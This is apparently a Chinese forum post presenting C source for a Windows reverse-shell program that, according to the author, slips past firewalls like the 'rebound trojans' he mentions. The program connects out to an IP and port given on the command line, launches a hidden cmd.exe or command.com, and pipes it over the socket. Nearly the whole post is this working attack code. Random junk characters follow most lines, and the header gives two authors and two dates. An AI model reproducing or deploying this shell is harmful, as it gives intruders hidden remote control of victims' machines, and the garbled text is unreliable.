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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r2G38/K  
br%l>Y\"  
/* ============================== x". !&5  
Rebound port in Windows NT nN5fP<H2x  
By wind,2006/7 o9]i {e>L  
===============================*/ "< })X.t  
#include X;7hy0Y  
#include CRs@x` 5ue  
l?)!^}Qc  
#pragma comment(lib,"wsock32.lib") @RXkj-,eC#  
b!oj3|9  
void OutputShell(); uZe"M(3r$  
SOCKET sClient; d3"QCl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E4, J"T|@  
M2pFXU?]  
void main(int argc,char **argv) &M{;[O{  
{ L%;[tu(*  
WSADATA stWsaData; ;LqpX!Pi f  
int nRet; W[<ZI>mf  
SOCKADDR_IN stSaiClient,stSaiServer; 3 nnoXc'  
s`gfz}/  
if(argc != 3) bYBEh n  
{ $Ts;o  
printf("Useage:\n\rRebound DestIP DestPort\n"); i|[**P  
return; 6_g:2=6S  
} }inV)QQ  
z)Lw\H^/  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~'v9/I-"  
y}1Pc*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); * -(8Z>9  
7#(0GZN9h%  
stSaiClient.sin_family = AF_INET; se=;vp]3a  
stSaiClient.sin_port = htons(0); 3 #"!Hg  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4 (XV)QR  
qL4s@<|~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <b:xyHS  
{ bs0[ a 1/  
printf("Bind Socket Failed!\n"); F-Bj  
return; V5'(op/  
} mgMa)yc!dp  
NG_7jZzXA9  
stSaiServer.sin_family = AF_INET; jss.j~8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xVk5%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |y pX O3  
<$??Z;6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7n,=`0{r  
{ XK&G`cJ[  
printf("Connect Error!"); -2'1KAk-W  
return; +{0v@6<(02  
} >&ENrvaJ  
OutputShell(); 0f#xyS 3  
} %,(X R`  
@FZbp  
void OutputShell() 0D Lw  
{ ohjl*dw  
char szBuff[1024]; ,b4oV  
SECURITY_ATTRIBUTES stSecurityAttributes; uS5G(}[  
OSVERSIONINFO stOsversionInfo; 25 cJA4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0n}v"61q  
STARTUPINFO stStartupInfo; z69u@  
char *szShell; 0S96x}]J B  
PROCESS_INFORMATION stProcessInformation; }U'  
unsigned long lBytesRead; hn~btu 9h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ST2:&xH(  
!yd ]~t 5Q  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +NbiUCMX  
stSecurityAttributes.lpSecurityDescriptor = 0; `hdN 6PgK  
stSecurityAttributes.bInheritHandle = TRUE; }?o4MiLB  
'{-Ic?F<P  
EJ(36h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T%Bz>K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .yDGwLry  
>qs/o$+t}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1R;@v3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1nw\?r2  
stStartupInfo.wShowWindow = SW_HIDE; TF9A4  
stStartupInfo.hStdInput = hReadPipe; et"Pb_-U  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nRvaCAt^  
 yj=OR|v  
GetVersionEx(&stOsversionInfo); \d*ts(/a*  
\~g,;>%7Y  
switch(stOsversionInfo.dwPlatformId) 'iTY?  
{ #^BttI  
case 1: icb *L~qm  
szShell = "command.com"; !9.FI{W  
break; Ii&p v  
default: \B^NdG5Y  
szShell = "cmd.exe"; M4D @G  
break; _a f $0!  
} cUr!U\X[  
na|sKE;{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?4oP=.  
c/igw+L()  
send(sClient,szMsg,77,0); vZW[y5   
while(1) 8+J>jZ  
{ plp-[eKcD  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J.'%=q(Sb  
if(lBytesRead) ANNVE},  
{ fs?H  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )ki Gk}2  
send(sClient,szBuff,lBytesRead,0); Eh)VT{vp  
} l4dG=x}M]  
else |}.}q  
{ :Nv7Wt!  
lBytesRead=recv(sClient,szBuff,1024,0); hNhEA $X5  
if(lBytesRead<=0) break; { 0-on"o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %<!YjJ  
} +g kJrw  
} shw"TF>?zG  
#4lIna%VX  
return; {z\K!=X/  
}
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